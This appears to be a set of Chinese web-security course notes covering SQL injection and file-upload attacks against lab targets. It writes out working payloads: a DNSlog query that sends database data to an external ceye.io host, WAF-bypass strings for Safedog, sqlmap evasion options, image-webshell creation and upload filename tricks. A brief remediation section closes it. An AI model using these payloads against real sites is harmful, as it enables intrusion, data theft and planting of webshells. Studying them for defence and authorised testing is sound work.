目录
- 第17天:WEB漏洞-SQL注入之二次,加解密,DNS等注入
- 第18天:WEB漏洞-SQL注入之堆叠及WAF绕过注入
-
- 1.堆叠查询注入
- 2.安全狗
- 3.FUZZ测试
- 4.其他
- 第19天:WEB漏洞-SQL注入之SQLMAP绕过WAF
- 第20天:WEB漏洞-文件上传之基础及过滤方式
- 第21天:WEB漏洞-文件上传之后端黑白名单绕过
- 第22天:WEB漏洞-文件上传之内容逻辑数组绕过
- 第23天:WEB漏洞-文件上传之解析漏洞编辑器安全
- 第24天:WEB漏洞-文件上传之WAF绕过及安全修复
文章图片
第17天:WEB漏洞-SQL注入之二次,加解密,DNS等注入
- 加解密,二次,DNSlog注入
- 二次注入:一般发现于黑盒注入源码
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据都可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
二次注入案例(sqli-lib 24)
3.DNSlog注入
需要高权限才能实现(鸡肋)
~~DNSlog:解决了盲注不能回显数据,效率低的问题
借助ceye来进行DNSlog注入:
?id=1 and if((select load_file(concat(‘\\’,(select version()),’.1t7i2f.ceye.io\abc’))),1,0)
?id=1 and if((select load_file(concat(‘\\’,(select version()),’.“你的identifier”\abc’))),1,0)
借助DnslogSqlinj工具来进行DNSlog注入:
需要python2,在config.py中配置“APItoken”和“DNSurl”
Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1’ and ({})–+
“-u”后面接注入地址并用双引号括起来,“’”“–+”根据需要添加~~
涉及资源:
知道创宇 - CEYE检测平台:http://ceye.io/
DNSlog注入工具DnslogSqlinj:http://github.com/ADOOO/DnslogSqlinj
第18天:WEB漏洞-SQL注入之堆叠及WAF绕过注入
文章图片
1.堆叠查询注入 stacked injections(堆叠注入),一次注入多条语句。
并不是每个环境都可以执行堆叠注入。
WAF绕过
主要以宝塔、安全狗、阿里云盾,建议购买阿里云服务器搭建测试平台
数据:大部分过滤是对数据有所检测,在数据上做一些变异来绕过
方式:改变请求方式
其他:根据数据库和漏洞的特性,或依靠数据溢出和参数污染等方法
现在很多网站是宝塔一键搭建的
2.安全狗 以安全狗和sqli-libs/less-2为例,GET型“union select”被拦截:
1、使用POST等方法提交注入参数
2、在保证语句可执行的情况下,将数据变异,使WAF检测不到。
原语句:?id=1 union select 1,2,3#
绕过WAF的语句:?id=1 union%23a%0Aselect 1,2,3%23
%0A=换行符,%23=“#”,“#”为注释符
WAF识别的语句:
union #aselect 1,2,3#
被执行的语句:SELECT * FROM users WHERE id=-1 union#a select 1,2,3; # LIMIT 0,1
3、主要利用参数污染
原语句:?id=-1 union select 1,2,3#
绕过WAF的语句:
?id=1/**&id=-1%20union%20select%201,2,3%23*/
也就是:?id=1/**&id=-1 union select 1,2,3#*/
%20=“ ”,%23=“#”,“/**”“*/”为注释符
WAF接收的语句:
1/**&id=-1 union select 1,2,3#*/
也可能是:1/**-1 union select 1,2,3#*/
WAF识别的语句:
1
“/**”“*/”注释掉了注入语句,WAF未识别注释内容
被执行的语句:SELECT * FROM users WHERE id=-1 union select 1,2,3#*/ LIMIT 0,1
“/**”“*/”并不是MySQL的注释符
PHP/Apache架构GET语句接收多个参数时,接收最后一个
3.FUZZ测试 利用脚本批量做模糊测试,类似爆破
4.其他 1.#应用层
大小写/关键字替换
id=1 UnIoN/**/SeLeCT 1,user()
Hex() bin() 等价于 ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
各种编码
大小写,URL,hex,%0A 等
注释使用
// – --+ # // + :%00 /!/等
再次循环
union==uunionnion
等价替换
user()=@@user() and=& or=| ascii=hex 等
参数污染
?id=1&id=2&id=3
编码解码及加密解密
s->%73->%25%37%33
hex,unlcode,base64 等
更改请求提交方式
GET POST COOKIE 等
POST->multipart/form-data
中间件 HPP 参数污染
2.#数据库特性
1、Mysql 技巧
(1)mysql 注释符有三种:#、/…/、-- … (注意–后面有一个空格)
(2)空格符:[0x09,0x0a-0x0d,0x20,0xa0]
(3)特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
(4)内联注释:
/!UnIon12345SelEcT/ 1,user() //数字范围 1000-50540
(5)mysql 黑魔法
select{x username}from {x11 test.admin};
2、SQL Server 技巧
(1)用来注释掉注射后查询的其余部分:
/* C 语言风格注释
– SQL 注释
; 00% 空字节
(2)空白符:[0x01-0x20]
(3)特殊符号:%3a 冒号
id=1 union:select 1,2 from:admin
(4)函数变形:如 db_name空白字符
3、Oracle 技巧
(1)注释符:–、/**/
(2)空白字符:[0x00,0x09,0x0a-0x0d,0x20]
4.配合 FUZZ
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】
from【位置五】admin
#逻辑层
1、逻辑问题
(1)云 waf 防护,一般会尝试通过查找站点的真实 IP,从而绕过 CDN 防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可尝试Bypass。
(3)HTTP 和 HTTPS 同时开放服务,没有做 HTTP 到 HTTPS 的强制跳转,导致 HTTPS 有 WAF 防护,HTTP
没有防护,直接访问 HTTP 站点绕过防护。
(4)特殊符号%00,部分 waf 遇到%00 截断,只能获取到前面的参数,无法获取到后面的有害参数
输 入 , 从 而 导 致 Bypass 。 比 如 : id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
2、性能问题
1:在设计 WAF 系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只
要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
2:不少 WAF 是 C 语言写的,而 C 语言自身没有缓冲区保护机制,因此如果 WAF 在处理测试向
量时超出了其缓冲区长度就会引发 bug,从而实现绕过。
例子 1:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS:0xA*1000 指 0xA 后面”A"重复 1000 次,一般来说对应用软件构成缓冲区溢出都需要较大的测试
长度,这里 1000 只做参考也许在有些情况下可能不需要这么长也能溢出。
例子 2:
【web安全|【小迪安全】web安全|渗透测试|网络安全 | 学习笔记-4】?a0=0&a1=1&…&a100=100&id=1 union select 1,schema_name,3 from
INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前 100 个参数,第 101 个参数并没有获取到,导致 SQL 注入绕过。
3、白名单
方式一:IP 白名单
从网络层获取的 ip,这种一般伪造不来,如果是获取客户端的 IP,这样就可能存在伪造 IP 绕过的情
况。
测试方法:修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css 等等),类似白名单机制,waf 为了检测
效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php 只识别到前面的.aspx/.php 后面基本不识别
方式三:url 白名单
为了防止误拦,部分 waf 内置默认的白名单列表,如 admin/manager/system 等管理后台。只要 url
中存在白名单的字符串,就作为白名单不进行检测。
涉及资源:
堆叠注入详解:https://www.cnblogs.com/backlion/p/9721687.html
关于【安全狗】在【phpstudy】中【无法找到apache服务名】的问题:
https://blog.csdn.net/nzjdsds/article/details/93740686
第19天:WEB漏洞-SQL注入之SQLMAP绕过WAF 在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF 层等,以便我们更灵活地去构造 Payload,从而可以和各种WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用。
1. IP白名单
伪造自己是IP白名单地址,该方法相关条件很难满足
伪造自己的IP是网站的IP地址,本地请求本地或不拦截
如果网站从网络层获取IP,一般无法伪造;如果从客户端获取则可以修改数据包
2.静态资源
WAF为了检测效率,不去检测一些静态文件名的后缀,可以把这些后缀加入到语句中,该方法在实战中已基本无效
例:http://xxxxxx/sql.php/1.js?id=1
3.url白名单
与静态资源类似,有些WAF只要url中存在白名单的字符串,就作为白名单不进行检测,该方法在实战中已基本无效
例:http://xxxxxx/sql.php/admin.php?id=1(假设admin.php在白名单中)
4.爬虫白名单
扫描绕过时经常用到,伪装成搜索引擎,该方法仍有效
5. MySQL /*!50001
在MySQL中,“/* /”是多行注释,“/! /”说明注释的语句会被执行,如果是“/!50001 */”则意味着数据库是5.00.01以上版本,该语句才会被执行
6.sqlmap
sqlmap语句
–tamper=xx.py 使用xx.py脚本
–proxy=http://127.0.0.1:8080 使用本地的8080端口作为代理
–random-agent 使数据包的User-Agent参数按字典随机
–user-agent=”xxx” 将数据包里的User-Agent改为xxx
–delay 1 每条语句间延时1秒
为sqlmap编写tamper脚本
复制一个脚本,其他部分不用修改,只在以下部分改动
if payload:
payload = payload.replace(“注入语句中需要被替换的内容”,”替换前者的内容”)
(上面的语句可根据需要再添加一句或多句)
return payload
sqlmap的User-Agent
sqlmap会在数据包的User-Agent中注明身份
例:User-Agent: sqlmap/1.4.7.5#dev (http://sqlmap.org)
7.sqlmap不支持修改的值怎么修改?
1、脚本
2、把注入语句写到txt里
把修改好的注入语句写到test.txt里
python sqlmap.py -r test.txt
3、中转注入
第20天:WEB漏洞-文件上传之基础及过滤方式
文章图片
文章图片
1.什么是文件上传漏洞?
上传文件时,未对上传的文件进行严格的验证和过滤,造成用户可以上传可执行脚本的漏洞叫文件上传漏洞。
2.文件上传漏洞有哪些危害?
可以通过文件上传漏洞上传网站后门,获取网站权限
文件上传漏洞如何查找及判断?
3.黑盒查找
1、扫描敏感文件,有些扫描字典里会加载常见的扫描地址
2、通过网站给出的相关应用(如会员中心)寻找测试点
3、进入网站后台,在后台寻找文件上传的点
白盒查找
4、代码审计
4.文件上传漏洞有哪些需要注意的地方?
归类,根据漏洞的类型选择相应的测试
5.演示案例总结
后门代码需要以正确的格式执行
服务器使用了错误的格式来解析文件的漏洞叫解析漏洞
文件上传漏洞配合解析漏洞,可以使借由其他格式上传的脚本文件正确执行
找到上传点,不要急于开搞,先收集好信息,看是否还有其他东西可以起到辅助作用的
6.前端验证绕过
1、浏览器禁用JS
会导致其他正常JS失效,可能影响上传操作,不推荐
2、把过滤代码删除掉
把源代码复制下来
把过滤代码删除掉
修改/添加action信息,可先提交一次以得知文件提交到哪里,该地址即action
涉及资源:
upload-labs(上传漏洞靶场):
https://github.com/c0ny1/upload-labs
第21天:WEB漏洞-文件上传之后端黑白名单绕过 1.文件上传常见验证:
后缀名:类型,文件头等
后缀名:黑名单,白名单
黑名单:明确不允许上传的格式的后缀
asp php jsp aspx cgi war等
白名单:明确可以上传的格式的后缀
jpg png zip rar gif等
黑白名单都是非黑即白的
黑名单可能出现后缀限制不全的情况,即可能会出现搭建平台支持但黑名单未拦截的脚本后缀
2.文件类型:MIME信息
数据包中的“Content-Type”会返回上传文件的文件类型
可以用Burp suite修改
3.文件头:内容头信息
文件内部开头会有表明文件类型的信息
可以人为添加或用Burp suite修改
4.$_FILES数组
$_FILES[‘myFile’][‘name’] 客户端文件的原名称
$_FILES[‘myFile’][‘type’] 文件的 MIME 类型
$_FILES[‘myFile’][‘size’] 已上传文件的大小,单位为字节
$_FILES[‘myFile’][‘tmp_name’] 文件被上传后在服务端储存的临时文件名,一般是系统默认
$_FILES[‘myFile’][‘error’] 和该文件上传相关的错误代码
如存在以下文件域,“myFile”为文件域的name属性
5…htaccess
Apache服务器特有的配置文件,可以改变相关目录下的网页配置
例
SetHandler yyy
作用:把名字里有“xxx”的文件以“yyy”的格式解析,其中“yyy”要以MIME的格式
6.空格、点和“::$DATA”
如果上传的文件名字结尾有空格,空格会被识别为后缀的一部分,从而绕过黑名单
Windows系统会自动去除名字结尾的空格
文件名字结尾加点同理
文件名字结尾加“::$DATA”同理
7.一次过滤和递归过滤
如果过滤语句只执行一次,则可以通过重复来绕过
假设代码将字符串里的“php”替换为空且只过滤一次
过滤前:a.phphpp 过滤后:a.php
假设代码将字符串里的空格和结尾的点依次替换为空且只过滤一次
过滤前:a.php. . 过滤后:a.php.
8.%00和0x00
空字符,NUL,截断后面的内容
%00一般用于网站地址
0x00一般用于文件命名,%00是0x00的url编码
因为GET会自动解码,POST不会自动解码
第22天:WEB漏洞-文件上传之内容逻辑数组绕过 1.图片一句话制作方法
命令行:
把1.png和shell.php组成webshell.jpg
copy 1.png /b + shell.php /a webshell.jpg
手工:
以16进制打开图片
将代码插入到图片最后
2.文件头检测
文件内部开头会有表明文件类型的信息,可以通过该信息判断文件类型。可以后期伪造
塒NG png
GIF89a gif
3.图像文件信息判断
getimagesize()函数:获取图像大小及相关信息
exif_imagetype()函数:判断一个图像的类型
imagecreatefrom系列函数:从文件或 URL 载入一幅图像,该系列有多个函数
imagecreatefromjpeg():从 JPEG 文件或 URL 地址载入一副图像
4.逻辑安全-二次渲染
网站要把用户上传的图片规范化,包括对图片进行再次压缩、裁剪等渲染操作。
二次渲染意味着网站要先保存、再处理、再保存,如果第一次保存时未检测信息,会出现漏洞
5.逻辑安全-条件竞争
在二次渲染的情况下,可能存在如下情况
图片已经保存到了临时地址,此时不断地访问临时地址,使上传的文件被占用,无法进行更多操作。上传出错,脚本上传成功
6.目录命名-x.php/.
不仅是文件名,对上传文件的路径进行构造也可以绕过检测
例:
网站源码:UPLOAD_PATH . ‘/’ . $file_name;
正常上传文件时
文件名:upload-19.jpg
路径:upload/upload-19.jpg
试图绕过时
文件:upload-19.php/.
路径:upload/upload-19.php/.
保存在服务器上的文件:upload-19.php
7.漏洞
搭建上传环境的软件都可能会爆出CVE漏洞
8.数组接受+目录命名
例:
正常上传文件时
文件名:upload-20.jpg
接受文件名的数组:
X[0]=’upload-20’
X[1]=’.’
X[2]=’jpg’
路径:upload/upload-20.jpg
试图绕过时
提交的文件名(数组):
X[0]=’upload-20.php/’
X[2]=’jpg’
程序拼接的文件名:upload-20.php/.jpg
保存在服务器上的文件:upload-20.php
上述案例在实战时只能靠大量尝试
9.解析漏洞
这类漏洞比较老,现已很少见
解析漏洞是指由于应用程序本身的漏洞,当程序在解析某些精心构造的后缀文件时,会将其错误地解析成网页脚本格式
10.IIS6.0
文件夹
正常:image/qq.jpg
构造:image.asp/qq.jpg qq.jpg会被当作asp解析
文件
正常:image.jpg
构造:image.asp; .jpg或xxx.asp; xxx.jpg 此文件会被当作asp执行
asp可以换做php,以上内容依旧成立
11.Nginx
访问上传的图片,在路径后加“/xxx.php”(“xxx”可以为任意字符),程序会把jpg文件当作php执行
12.碰见漏洞首先判断
注入漏洞
判断数据库类型判断对方数据提交方法判断注入地址的参数类型判断可能的查询方式
13.文件上传
判断有没有二次校验中间件有无上传漏洞,有无解析漏洞解析漏洞
涉及资源:
https://www.smi1e.top/文件解析漏洞总结/
Web 中间件常见漏洞总结.pdf
第23天:WEB漏洞-文件上传之解析漏洞编辑器安全
文章图片
各个平台解析漏洞讲解
Apache
1.Apache低版本解析漏洞
例:phpinfo.php.xxx
识别最后一个后缀,如果不识别则解析前一个后缀,直到识别
利用场景:
如果对方中间件apache属于低版本,我们可以利用文件上传,上传一个不识别的文件后缀,利用解析漏洞规则成功解析文件,其中后门代码被触发。
2.Apache配置安全漏洞
类似.htaccess
由于配置不合理而产生
3.Apache换行解析漏洞(CVE-2017-15715)
1.php\x0A
以1.php为例,当上传文件为黑名单限制时,在1.php后面加“\x0A”,能够上传且文件会被以php格式解析
注意,这里的“\x0A”需要使用工具修改
Nginx
1.Nginx解析漏洞(IIS7也有相似的解析漏洞)
访问上传的图片,在路径后加“/xxx.php”(“xxx”可以为任意字符),程序会把jpg文件当作php执行
2.Nginx文件名逻辑
访问上传的图片(以info.jpg为例)并抓包,修改为“info.jpg…php”,在Hex选修卡中将“jpg”后面的两个点“2e”改成“20,00”,程序会把jpg文件当作php执行
请求文件:info.jpg[0x20][0x00].php,文件以php格式执行
各个WEB编辑器安全讲解
第三方编辑器,负责文件音频方面的处理
https://navisec.it/编辑器漏洞手册/
怎么判断网站使得什么编辑器?
在会员中心或者后台中心可能会看到网站使用的什么编辑器
网站扫描发现编辑器相关的路径
各个CMS文件上传简要讲解
文件上传简要总结
寻找文件上传漏洞
1、中间件是否有解析漏洞
2、尝试绕过验证
3、CMS
4、编辑器
5、CVE
6、可能没有漏洞
文件上传点怎么找
通过字典扫描寻找可能的上传点
在会员中心或者后台中心可能会找到上传点
涉及资源:
编辑器漏洞手册:https://navisec.it/编辑器漏洞手册/
phpStudy php5.2珍藏版 (apache 2.2.25+php 5.2.17):https://www.jb51.net/softs/75619.html
2019通达oa安装文件:https://pan.baidu.com/share/init?surl=5gcdBuOFrN1F9xVN7Q7GSA 提取码:enqx
第24天:WEB漏洞-文件上传之WAF绕过及安全修复 1.上传参数名解析:明确哪些东西能修改?
Content-Disposition:表单的数据,一般可更改
name:表单参数值,不能更改,更改会影响上传
filename:文件名,可以更改
Content-Type:文件 MIME,视情况更改
2.常见绕过方法:
以安全狗和upload-labs Pass-2为例
3.数据溢出-防匹配(xxx…)
防火墙会检查上传数据的每一项内容,但如果数据过多,防火墙可能会放过只检查了一部分的内容
在上传参数之间插入由垃圾数据组成的无效参数
4.符号变异-防匹配(’ ; ")
php是弱类型语言,只有一个引号也可能正确识别。但防火墙很可能会错误识别数据
将“filename=”xx.php””里的后双引号删掉,或把一对引号都删掉;
将filename的数据改为“filename=”x”.php”,会上传一个“.php”,可以执行;
改为“filename=”x”x.php”,会上传一个“x.php”
5.数据截断-防匹配(%00 ; 换行)
%00
“filename=”x.php .jpg””,在将空格改为“%00”,失效
换行
上传的数据包:
“filename=x.p
h
P”
防火墙接受的(可能):“filename=x.p\nh\np”
6.重复数据-防匹配(参数多次)
多个相同参数看以哪个为准:filename=”x.jpg”; filename=”y.jpg”
多个重复参数,类似数据溢出
将filename之前的上传参数复制到filename里,结尾加上“; x.php”或“x.php”
filename=“Content-Disposition: form-data; name=“upload_file”; x.php”
下面这条可以上传一个“jpeg; x.php”
filename=“Content-Type:image/jpeg; x.php”
7.Payload:
大量垃圾数据缓冲溢出(Content-Disposition,filename 等)
filename=x.php
filename="x.php
filename='x.php
filename=“a.jpg; .php”;
filename=“a.php%00.jpg”
filename=“Content-Disposition: form-data; name=“upload_file”; x.php”
filename=“x.jpg”; filename=“x.jpg”; …filename=“x.php”;
filename=“xxx/x.jpg”
filename=
"x.
p
h
p"
8.Fuzz模糊测试
右键“Send to intruder”,在Positions把filename的值作为条件,在Payloads选择字典
9.文件上传安全修复方案
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等
文章图片
Windows下文件名不区分大小写,Linux下文件名区分大小写
Windows下ADS流特性,导致上传文件xxx.php::$DATA = https://www.it610.com/article/xxx.php
Windows下文件名结尾加入“.”“ ”“<”“>”“>>>”“0x81”-“0xff”等字符,最终生成的文件均被Windows忽略
涉及资源:
fuzzdb(字典):https://github.com/fuzzdb-project/fuzzdb
fuzzDicts(字典):https://github.com/TheKingOfDuck/fuzzDicts
推荐阅读
- 风控or验证|极验深知v2分析
- 漏洞复现|CVE-2022-33891 Apache Spark 命令注入复现
- 安全|漏洞通告 | Apache Spark UI命令漏洞;Grails远程代码漏洞;Confluence Questions漏洞
- Netty学习系列|Netty学习七(编解码之自定义通信协议)
- 网络基本概念|网络安全(加密技术、数字签名、证书)
- 信息安全|网络安全常用术语
- 网络|ARP防御篇-如何揪出“内鬼”并“优雅的还手”
- 安全|Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现
- web安全|网络安全之文件包含漏洞总结